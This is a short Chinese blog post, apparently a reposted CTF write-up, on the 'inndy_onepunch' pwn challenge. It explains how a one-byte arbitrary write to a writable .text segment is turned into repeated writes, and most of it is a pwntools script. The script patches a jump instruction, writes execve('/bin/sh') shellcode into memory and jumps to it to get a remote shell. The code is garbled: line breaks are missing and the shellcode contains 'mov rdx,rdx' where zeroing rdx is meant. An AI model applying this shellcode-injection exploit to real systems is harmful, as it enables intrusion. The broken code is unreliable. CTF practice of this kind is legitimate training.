本文主要是介绍inndy_onepunch(text段有时是可以修改的),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
inndy_onepunch
用IDA分析一下程序,任意地址写一个字节。
想不到的是,text段可以修改,因此,我们可以直接修改text的指令,来达到多次利用。
#coding:utf8
#想不到text段竟然可以写
from pwn import *context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767def writeData(addr,data):sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通过一字节读写,我们修改text里的跳转
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令为jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622fpush raxmov rdi,rspmov rax,59xor rsi,rsimov rdx,rdxsyscall''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:data = u8(x)writeData(shellcode_addr + i,data)i = i + 1
#跳转到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))sh.interactive()
由此,查阅资料知道了,修改text段可写,可以利用工具objcopy --writable-text来实现。因此,有时实在没办法,我们可以尝试一下text段是否可写。
这篇关于inndy_onepunch(text段有时是可以修改的)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!